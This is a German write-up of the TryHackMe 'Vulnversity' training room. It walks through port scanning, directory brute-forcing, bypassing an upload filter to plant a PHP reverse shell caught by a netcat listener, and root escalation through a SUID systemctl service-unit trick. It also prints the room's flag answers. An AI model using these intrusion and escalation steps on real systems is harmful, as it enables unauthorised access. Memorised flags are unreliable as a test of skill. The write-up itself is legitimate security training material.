Heute geht es an dem Vulnversity Raum. Er ist Teil des Complete Beginner Paths und in dessen letztem Kapitel „Basic Computer Exploitation“ verortet. Bald haben wir den Complete Beginner Path abgeschlossen!
Task 1 Deploy the machine
Frage 1:
Deploy the machine
Antwort 1:
Keine Antwort benötigt.
Task 2 Reconnaissance
In Task 2 kehren wir zu nmap zurück. Hier erhalten wir die Anweisung, die Machine per nmap zu scannen:
nmap -sV DIE_IP_DEINER_MACHINE
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-04 18:18 CEST
Nmap scan report for DIE_IP_DEINER_MACHINE
Host is up (0.060s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.62 seconds
Frage 1:
There are many nmap „cheatsheets“ online that you can use too.
Antwort 1:
Keine Antwort benötigt.
Frage 2:
Scan the box, how many ports are open?
Wir sehen oben, dass 6 Ports geöffnet sind.
Antwort 2:
6
Frage 3:
What version of the squid proxy is running on the machine?
Auf Port 3128 läuft Squid mit 3.5.12
Antwort 3:
3.5.12
Frage 4:
How many ports will nmap scan if the flag -p-400 was used?
Mit der -p Flag definiert man die Anzahl der X häufigsten Ports. In diesem Fall 400.
Antwort 4:
400
Frage 5:
Using the nmap flag -n what will it not resolve?
Hierzu werfen wir einen Blick in das nmap Benutzerhandbuch und suchen nach der -n FLag. DNS wird nicht resolved.
Antwort 5:
DNS
Frage 6:
What is the most likely operating system this machine is running?
Da wir in unserem Scan gesehen haben, dass Apache läuft, wird es sich wahrscheinlich um ein Linux System handeln. Mit der -O Flag können wir aber genaueres herausfinden. Die -O FLag benötigt aber root Privilegien, sudo nicht vergessen:
└─$ sudo nmap -O DIE_IP_DEINER_MACHINE
[sudo] password for user:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-04 18:30 CEST
Nmap scan report for DIE_IP_DEINER_MACHINE
Host is up (0.062s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3128/tcp open squid-http
3333/tcp open dec-notes
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=7/4%OT=21%CT=1%CU=32737%PV=Y%DS=2%DC=I%G=Y%TM=62C315B7
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=8)OPS(
OS:O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11
OS:NW7%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(
OS:R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Network Distance: 2 hops
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds
Unsere Vermutung hat sich bestätigt, leider ist das Ergebnis nicht sehr lohnenswert. Nach etwas Recherche liegt hier wohl auch ein Fehler bei TryHackMe und es handelt sich um einen Ubuntu Server.
Antwort 6:
Ubuntu
Frage 7:
What port is the web server running on?
In unserem ersten Scan haben wir gesehen, dass auf dem Port 3333 der http Server läuft.
Antwort 7:
3333
Frage 8:
Its important to ensure you are always doing your reconnaissance thoroughly before progressing. Knowing all open services (which can all be points of exploitation) is very important, don’t forget that ports on a higher range might be open so always scan ports after 1000 (even if you leave scanning in the background)
Antwort 8:
Keine Antwort benötigt.
Task 3 Locating directories using GoBuster
In Task 3 geht es auch gleich weiter mit einem alten Bekannten: GoBuster
Lasst uns herausfinden welche Verzeichnisse auf dem Machine vorhanden sind!
Dazu müssen wir eine Wordlist wählen, diese sind auf Kali schon vorinstalliert.
└─$ gobuster dir -t 64 -u http://DIE_IP_DEINER_MACHINE:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://DIE_IP_DEINER_MACHINE:3333
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/07/04 18:51:15 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 320] [--> http://DIE_IP_DEINER_MACHINE:3333/images/]
/css (Status: 301) [Size: 317] [--> http://DIE_IP_DEINER_MACHINE:3333/css/]
/js (Status: 301) [Size: 316] [--> http://DIE_IP_DEINER_MACHINE:3333/js/]
/fonts (Status: 301) [Size: 319] [--> http://DIE_IP_DEINER_MACHINE:3333/fonts/]
/internal (Status: 301) [Size: 322] [--> http://DIE_IP_DEINER_MACHINE:3333/internal/]
/server-status (Status: 403) [Size: 302]
===============================================================
2022/07/04 18:55:08 Finished
Frage 1:
What is the directory that has an upload form page?
Wir versuchen einefach alle Verzeichnisse im Browser durch.
http://DIE_IP_DEINER_MACHINE:3333/VERZEICHNIS/
Antwort 1:
/internal/
Task 4 Compromise the webserver
Da wir nun ein Formular zum Hochladen von Dateien gefunden haben, können wir dieses nutzen, um unsere Payloads hochzuladen und auszuführen, die zur Kompromittierung des Webservers führt. Auch hier treffen wir auf ein bekanntes Programm: BurpSuite
Frage 1:
Try upload a few file types to the server, what common extension seems to be blocked?
Hier habe ich einfach geraten. Es sollte nirgends erlaubt sein php-Dateien hochzuladen, da man sonst sehr leicht shell Zugriff bekommen kann.
Antwort 1:
.php
Jetzt wird es etwas unübersichtlich im Task, also Schritt für Schritt:
Wir starten zuerst BurpSuite.
Dann gehen wir auf http://DIE_IP_DEINER_MACHINE:3333/internal/
Jetzt Schalten wir „Intercept On“ in BurpSuite an und aktivieren den Proxy, sodass der Traffic über BurpSuite geht und abgefangen wird.
Jetzt laden wir eine beliebige Datei bei /internals hoch und fangen so die Anfrage ab.



Danach unchecken wir den Haken bei Payload Encoding (3.) und abschließend klicken wir auf „Start attack“ (4.).
Jetzt brute-forced BurpSuite alle Dateiendungen aus unserer Texdatei und zeigt uns das Ergebnis:

Jetzt, da wir wissen, welche Dateiendung wir für unsere Payload verwenden können, können wir fortfahren.
Wir werden wieder die PHP-Reverse-Shell von Pentestmonkey als Payload verwenden, diese hat sich ja bereits bewährt.
Führen wir nun die folgenden Schritte aus, um Fernzugriff auf die Machine zu erhalten:
– Zuerst bearbeiten wir die Datei php-reverse-shell.php und ändern die IP-Adresse zu der unseres Rechners (die IP erhalten wir, indem wir http://10.10.10.10 im Browser aufrufen),
– wir benennen die Datei in php-reverse-shell.phtml um,
– nun öffnen wir einen netcat listener mit nc -lvnp 1234
– wir laden unsere Datei hoch und führen sie mit http://DIE_IP_DEINER_MACHINE:3333/internal/uploads/php-reverse-shell.phtml aus.
Jetzt haben wir Shell-Zugriff:
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.8.1.75] from (UNKNOWN) [10.10.29.98] 55526
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
14:33:11 up 1 min, 0 users, load average: 2.00, 0.81, 0.29
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
Frage 2:
What is the name of the user who manages the webserver?
In unserer Shell wechseln wir in das /home Verzeichnis, dort sehen wir alle Benutzer-Verzeichnisse:
$ cd home
$ ls
bill
$
Antwort 2:
bill
Frage 3:
What is the user flag?
Hier tauchen wir weiter in Bills Verzeichnis ein:
$ cd bill
$ ls
user.txt
$ cat user.txt
8bd7992fbe8a6ad22a63361004cfcedb
$
Antwort 3:
8bd7992fbe8a6ad22a63361004cfcedb
Task 5 Privilege Escalation
Hier erhöhen wir unsere Privilegien und werden zum Superuser (root).
Frage 1:
On the system, search for all SUID files. What file stands out?
Wir benutzen den Befehl aus dem Hint:
$ find / -user root -perm -4000 -exec ls -ldb {} \;
--snip--
find: '/var/spool/rsyslog': Permission denied
-rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su
-rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 40152 May 16 2018 /bin/mount
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 27608 May 16 2018 /bin/umount
-rwsr-xr-x 1 root root 659856 Feb 13 2019 /bin/systemctl
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
find: '/tmp/systemd-private-bfb9a42424fc408e92d5cd92ebb2fb3f-systemd-timesyncd.service-VZgFfD': Permission denied
find: '/sys/fs/fuse/connections/39': Permission denied
find: '/sys/kernel/debug': Permission denied
-rwsr-xr-x 1 root root 35600 Mar 6 2017 /sbin/mount.cifs
find: '/root': Permission denied
$
Systemctl ist ein Kontrollwerkzeug für den Dienstmanager systemd. Systemd wiederum ist ein Systemmanager und verwaltet Komponenten während des gesamten Zyklus des Systems, vor und nach dem Booten. Systemctl hat normalerweise keine SUID privilegien.
Antwort 1:
/bin/systemctl
Frage 2:
Its challenge time! We have guided you through this far, are you able to exploit this system further to escalate your privileges and get the final answer?
Become root and get the last flag (/root/root.txt)
Wir greifen wieder zu unserem „Schweizer Taschenmesser“ GTFOBins und suchen uns den passenden Exploit.
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
Diesen Code müssen wir etwas ändern, sodass wir den Inhalt der Flag in eine Datei schreiben, die wir auch öffnen können. Folgende Befehle geben wir nacheinander in der Shell ein:
$ TF=$(mktemp).service
$ echo '[Service]
> ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/flag"
> [Install]
> WantedBy=multi-user.target' > $TF
$ /bin/systemctl link $TF
Created symlink from /etc/systemd/system/tmp.MPvfV53cSJ.service to /tmp/tmp.MPvfV53cSJ.service.
$ /bin/systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.MPvfV53cSJ.service to /tmp/tmp.MPvfV53cSJ.service.
Lassen wir uns nun den Inhalt von /tmp anzeigen:
$ ls -l /tmp
total 12
-rw-r--r-- 1 root root 33 Jul 4 15:30 flag
drwx------ 3 root root 4096 Jul 4 14:31 systemd-private-bfb9a42424fc408e92d5cd92ebb2fb3f-systemd-timesyncd.service-VZgFfD
-rw------- 1 www-data www-data 0 Jul 4 15:19 tmp.2kmtAMnUQK
-rw------- 1 www-data www-data 0 Jul 4 15:27 tmp.7gIl0es6QB
-rw------- 1 www-data www-data 0 Jul 4 15:27 tmp.MPvfV53cSJ
-rw-rw-rw- 1 www-data www-data 101 Jul 4 15:29 tmp.MPvfV53cSJ.service
$
Wir haben eine flag-Datei! Hoffentlich stimmt der Inhalt:
$ cat /tmp/flag
a58ff8579f0a9270368d33a9966c7fd5
$
Bingo!
Antwort 2:
a58ff8579f0a9270368d33a9966c7fd5
Das war die letzte Aufgabe in Vulnversity. Bis zum nächsten Raum!